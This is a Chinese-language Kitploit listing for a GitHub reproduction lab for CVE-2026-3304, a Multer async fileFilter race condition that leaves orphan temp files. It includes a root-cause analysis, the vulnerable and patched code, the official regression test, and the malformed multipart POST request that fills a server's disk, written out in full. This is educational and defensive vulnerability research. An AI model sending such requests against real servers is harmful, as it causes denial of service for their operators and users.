Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3304 — CVE-2026-3304 的复现实验室,这是一个 Multer 异步 fileFilter 竞态条件,通过遗留的临时文件导致磁盘耗尽。包含存在漏洞和已修补的 Docker 服务器、漏洞利用脚本以及根本原因分析。 | Kitploit
工具/GitHubGitHub/mkway/cve-2026-3304
漏洞分析漏洞利用Web安全学习与教育实验室与实践
GitHubmkway/cve-2026-3304

CVE-2026-3304

CVE-2026-3304 的复现实验室,这是一个 Multer 异步 fileFilter 竞态条件,通过遗留的临时文件导致磁盘耗尽。包含存在漏洞和已修补的 Docker 服务器、漏洞利用脚本以及根本原因分析。

查看仓库
217个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-3304 实验环境

仅供教育和研究目的。未经授权攻击系统是违法的。

本实验环境基于对 Multer 2.1.0 补丁及其官方测试代码的分析而构建。 易受攻击的服务器复现了补丁测试中描述的精确条件, 而已修补的服务器运行 Multer 2.1.0 以确认修复有效。

漏洞概述

字段详情
CVECVE-2026-3304
目标Multer < 2.1.0(Node.js multipart/form-data 中间件)
类型DoS — 孤立文件(临时文件清理不完整)
CWECWE-459:不完整的清理
CVSS 4.08.7 高危
已修补版本Multer 2.1.0

一个缺少 name 属性的畸形 multipart 请求会导致 Multer 在磁盘上创建临时文件但从不清理。重复请求会耗尽磁盘空间,从而导致拒绝服务。


根本原因分析

该漏洞源于 multer/lib/make-middleware.js 中 fileFilter 回调处理流程。

核心问题:setImmediate 时序 + 缺少 errorOccured 检查

当 Multer 逐部分流式解析 multipart 请求时,会发生以下序列:

[解析事件序列 — 易受攻击版本]

1. 收到第 1 部分头部
   → 调用 fileFilter(req, file, cb)
   → setImmediate(cb) → 回调延迟到下一个事件循环周期

2. 收到第 1 部分主体
   → 打开 /tmp/uploads/<uuid>,开始写入数据

3. 收到第 2 部分头部(缺少 name 属性)
   → Multer 检测到 'name 缺失'
   → errorOccured = true  ← 设置错误标志
   → 调用 abortWithCode('LIMIT_FIELD_KEY') → 计划发送 HTTP 500

4. setImmediate 回调触发(下一个事件循环周期)
   → fileFilter 结果:includeFile = true(正常流程)
   → [BUG] 未检查 errorOccured 标志
   → 调用 storage._handleFile() → 临时文件提交到磁盘

5. 发送 HTTP 500 响应
   → 临时文件保留在磁盘上(孤立文件)

易受攻击的代码(make-middleware.js — Multer < 2.1.0)

// fileFilter 完成回调(通过 setImmediate 延迟)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ 此处从未检查 errorOccured
  //    即使在解析第 2 部分时已设置错误,执行仍会继续
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // 临时文件被注册到 uploadedFiles 并留在磁盘上
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

为什么 setImmediate 是问题所在?

使用 setImmediate 包装 fileFilter 会将其回调延迟到下一个事件循环周期。 在该时间窗口内,busboy(multipart 解析器)继续解析下一部分的头部, 发现缺少 name,并设置 errorOccured = true。 当回调恢复执行时,错误状态已设置 — 但代码从未检查它, 因此无条件调用 storage._handleFile,临时文件被写入磁盘。


补丁代码分析(Multer 2.1.0)

修复提交:739919097d

在 fileFilter 回调入口之后、到达 storage._handleFile 之前,添加了一个 if (errorOccured) 防护检查。

// fileFilter 完成回调(Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [补丁] 在继续之前检查 errorOccured
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // 排空流 — 不向磁盘写入文件
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

变更摘要

项目易受攻击(< 2.1.0)已修补(2.1.0)
errorOccured 检查❌ 未检查✅ 回调入口立即检查
出错时调用 _handleFile是已阻止
临时文件清理❌ 缺失✅ 通过 fileStream.resume()
每个请求的孤立文件数10

为什么 fileStream.resume() 能清理: 调用 fileStream.resume() 会排空并丢弃流,而不将其传递给 DiskStorage, 因此不会写入任何文件,磁盘上也不会留下任何内容。


官方补丁测试代码

Multer 团队在 2.1.0 补丁中包含了以下 Mocha 测试来验证修复。 该测试成为本实验环境的蓝图 — 易受攻击的服务器 复现了此处描述的精确设置(setImmediate fileFilter + 畸形 multipart 请求), 并针对易受攻击和已修补版本验证预期行为。

/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
断言含义
res.statusCode === 400Multer 正确拒绝畸形请求
files.length === 0磁盘上未留下孤立文件(补丁已验证)

在易受攻击的版本(< 2.1.0)上,files.length 等于 1,断言失败。


实验实现

本实验直接镜像上述补丁测试设置。

易受攻击的服务器(Dockerfile + app/server.js)运行 Multer 2.0.2,使用基于 setImmediate 的异步 fileFilter — 即补丁测试中的精确触发条件:

// app/server.js — 复现补丁测试的漏洞触发条件
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← 延迟回调,制造竞态条件
      cb(null, true)
    })
  }
})

已修补的服务器(Dockerfile.patched)运行相同的 server.js,但安装 Multer 2.1.0, 其中 errorOccured 防护已就位 — 与补丁测试的预期通过状态一致。

服务器端口Multer预期行为
易受攻击30002.0.2每个畸形请求创建一个孤立文件
已修补30012.1.0无孤立文件 — 清理正常工作

注意: 将 fileFilter 切换为同步(移除 setImmediate)即使在 Multer < 2.1.0 上也能防止孤立文件。 该漏洞需要两个条件同时满足: 异步 fileFilter 以及缺少 errorOccured 检查。


攻击:畸形 POST 请求

攻击发送一个 multipart/form-data POST,其中第二部分缺少必需的 name 属性。

正常请求(安全)

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

恶意请求(触发 CVE-2026-3304)

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← 第 1 部分:有效,此处创建临时文件
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← 第 2 部分:缺少 name=!
Content-Type: application/octet-stream

x
------Boundary--

服务器端执行流程:

下载工具